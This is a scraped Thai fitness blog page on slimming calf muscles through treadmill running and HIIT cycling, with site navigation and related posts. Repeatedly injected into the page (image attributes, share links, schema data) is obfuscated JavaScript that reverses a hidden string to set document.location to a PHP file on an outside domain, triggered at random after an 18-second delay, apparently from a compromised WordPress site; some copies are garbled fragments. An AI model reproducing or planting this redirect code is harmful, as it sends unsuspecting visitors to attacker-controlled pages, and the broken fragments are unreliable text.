andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande-592914-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2018/09/trust-tru-katsandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande-592914-unsplash.jpg","width":1000,"height":666},{"@type":"WebPage","@id":"https://www.stepextra.com/reduce-calf-muscles/#webpage","url":"https://www.stepextra.com/reduce-calf-muscles/","name":"สาวๆ อยากน่องสวยต้องวิ่ง (TREADMILL), ปั่นจักรยาน - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/reduce-calf-muscles/#primaryimage"},"datePublished":"2018-09-03T06:48:11+00:00","dateModified":"2018-09-03T09:54:39+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"description":"การวิ่งหรือเดินบนลู่วิ่ง (TREADMILL) และการปั่นจักรยาน (ทั้ง ปั่น OUTDOOR และ STATIONARY) เป็นการออกกำลังกายแบบ CARDIO มีส่วนช่วยให้น่องของคุณสวยและลีน","breadcrumb":{"@id":"https://www.stepextra.com/reduce-calf-muscles/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/reduce-calf-muscles/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/reduce-calf-muscles/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"สาวๆ อยากน่องสวยต้องวิ่ง (TREADMILL), ปั่นจักรยาน"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

สาวๆ อยากน่องสวยต้องวิ่ง (TREADMILL), ปั่นจักรยาน

kan by kan
3 September 2018
in Healthy Tips, Tips & Technics
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande-592914-unsplash.jpg">
สาวๆ อยากน่องสวยต้องวิ่ง (TREADMILL), ปั่นจักรยาน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande-592914-unsplash.jpg&description=%E0%B8%AA%E0%B8%B2%E0%B8%A7%E0%B9%86+%E0%B8%AD%E0%B8%A2%E0%B8%B2%E0%B8%81%E0%B8%99%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%AA%E0%B8%A7%E0%B8%A2%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+%28TREADMILL%29%2C+%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%A3%E0%B8%A2%E0%B8%B2%E0%B8%99" rel='nofollow' class="jeg_btn-pinterest ">

น่องใหญ่อันไม่พึ่งประสงค์ของสาวๆ นั้น มีสาเหตุหลักมาจากไขมันส่วนเกินที่สะสมตัวไว้ตามชั้นกล้ามเนื้อ ทำให้น่องดูใหญ่เป็นก้อนอ้วนเผละ การวิ่งหรือเดินบนลู่วิ่ง (TREADMILL) และการปั่นจักรยาน (ทั้ง ปั่น OUTDOOR และ STATIONARY) เป็นการออกกำลังกายแบบ CARDIO ให้กับร่างกายและเป็นการใช้งานกล้ามเนื้อส่วนน่อง (CALF MUSCLE) ทั้งสองมีประสิทธิภาพในการดึงไขมันมาใช้และเป็นการสร้างกล้ามเนื้อ (น่อง) ให้แข็งแรงและดูลีน (LEAN)

สาวอยากน่องสวยต้องวิ่ง (TREADMILL) หรือปั่นจักรยาน

  1. ปั่นจักรยานเพื่อลดน่อง

ทำความรู้จักกันสักนิด การปั่นจักรยานเป็นกีฬาประเภท NON-WEIGHT BEARING EXERCISE หรือกีฬาประเภท LOW IMPACT ที่ไม่ต้องแบกน้ำหนักของร่างกาย และการปั่นก็เป็นการออกกำลังกายแบบ CARDIO ที่ดึงไขมันทุกส่วนของร่างกายมาใช้เผาผลาญ การฝึกปั่นแบบ HIGH-INTENSITY INTERVAL TRAINING (HIIT) หรือการทำ SHORT BURSTS ในช่วงระยะเวลาสั้นๆ จะช่วยดึงไขมันมาใช้มากขึ้นและเพิ่มระดับเมตาบอลิซึมให้สูงขึ้น ซึ่งแนะนำให้ทำการฝึกปั่นกับ STATIONARY BIKE แบบ HIIT 45 นาที 5 ครั้งต่อสัปดาห์ เพื่อสลิมกล้ามเนื้อน่องลง

แต่ทั้งนี้ การเซตเกียร์หนักเบาก็มีส่วนในการเพื่อขนาดกล้ามเนื้อเช่นกัน การเซตเกียร์หมายถึงการปรับให้มีแรงต้านมากน้อย เกียร์หนัก ก็เหมือนยกเวทหนักๆ สามารถลดการสร้างมวลกล้ามเนื้อเพิ่มได้ ในปี 2011 SHUKUTOKU UNIVERSITY คณะ HEALTH AND MEDICAL STUDIES ประเทศญี่ปุ่น ได้ทำการศึกษาและพบว่า การปั่นจักรยานโดยไม่มีแรงต้าน ไม่สามารถทำให้กล้ามเนื้อน่องมีความแข็งเรงขึ้น ถึงแม้จะปั้นให้สูงก็ตาม ดังนั้นพิจารณาได้ว่า การปั่นจักรยานมีโอกาสที่จะสร้างกล้ามเนื้อน่องเพิ่มได้น้อยกว่าการวิ่งบนลู่ (TREADMILL) แต่ถ้าใส่เกียร์สูงปั่นหนักจนขาล้า รับรองว่าเราจะได้กล้ามเนื้อเพิ่มขึ้นแน่นอน

  1. เดินหรือวิ่งบนลู่วิ่ง (TREADMILL)

การวิ่งหรือเดินจะใช้น้ำหนักร่างกายเป็นแรงต้านในการขยับตัวไปข้างหน้า การฝึกวิ่งแบบ SPRINT จะช่วยสร้างกล้ามเนื้อน่องได้มากที่สุด มากกว่าการฝึกวิ่งแบบ LONG RUN หรือฝึกแบบ ENDURANCE TRAINING และในส่วนของการเดินนั้น แม้จะใช้กล้ามน่องเหมือนกันแต่ก็ไม่สามารถสร้างกล้ามเนื้อขึ้นมาเป็นก้อนๆ ได้

การฝึกวิ่งเพื่อสลิมน่องแนะนำให้ฝึกวิ่ง แบบ HIIT 45 นาทีต่อครั้งเช่นกัน ถ้าแบ่งสเกลการฝึกจาก 0-10 ในช่วงสิบนาทีแรกเป็นการวอร์มอัพ หลังจากนั้น เพิ่มระดับขึ้นไปที่ 7-8 เป็นเวลา 30 วินาทีหรือถึง 3 นาที เป็นการฝึกแบบสั้นๆ แต่เร็วและแรง

ถ้าถามว่าปั่นหรือวิ่ง แบบไหนจะช่วยลดน่องได้ดีสุด…ตอบเลยว่า การวิ่งจะช่วยสลิมกล้ามเนื้อน่องได้เร็วกว่า เพราะวิ่งจะใช้พลังงานมากกว่าการปั่น แค่วิ่ง 10 กิโลเมตรในหนึ่งชั่วโมงบนลู่วิ่ง เราจะเผาผลาญไขมันได้มากกว่าปั่นจักรยาน 10 กิโลเมตรในหนึ่งชั่วโมง ที่สำคัญ ถ้าผู้ออกกำลังกายไม่ทำการยืดเหยียดหลังการออกกำลังกาย โอกาสที่กล้ามเนื้อน่องจะใหญ่ (ไม่ลีน) น่องปูดเหมือนนักเล่นกล้ามจะสูงมาก

อ้างอิง woman.thenest.com

Tags: treadmill
ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande-592914-unsplash.jpg&description=%E0%B8%AA%E0%B8%B2%E0%B8%A7%E0%B9%86+%E0%B8%AD%E0%B8%A2%E0%B8%B2%E0%B8%81%E0%B8%99%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%AA%E0%B8%A7%E0%B8%A2%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+%28TREADMILL%29%2C+%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%A3%E0%B8%A2%E0%B8%B2%E0%B8%99" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

4 รูปแบบการฝึกวิ่งบนลู่วิ่ง ที่จะทำให้คุณเร็ว เเข็งเเกร่งและเบริ์นไขมันได้มากขึ้น พร้อมลุยเนินเขาได้สบาย
Running Tips

4 รูปแบบการฝึกวิ่งบนลู่วิ่ง ที่จะทำให้คุณเร็ว เเข็งเเกร่งและเบริ์นไขมันได้มากขึ้น พร้อมลุยเนินเขาได้สบาย

17 December 2018
5 วิธียืดเส้นคลายกล้ามเนื้อสำหรับนักปั่น
Running Tips

ในสภาวะที่วิ่งกลางแจ้งไม่สะดวก เรามีวิธีวิ่ง Indoor อย่างไรให้สนุก

21 February 2018
ผลวิจัยเผย เดินไปด้วยทำงานไปด้วย ช่วยให้คุณฉลาดขึ้น!
Healthy News

ผลวิจัยเผย เดินไปด้วยทำงานไปด้วย ช่วยให้คุณฉลาดขึ้น!

11 February 2015
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.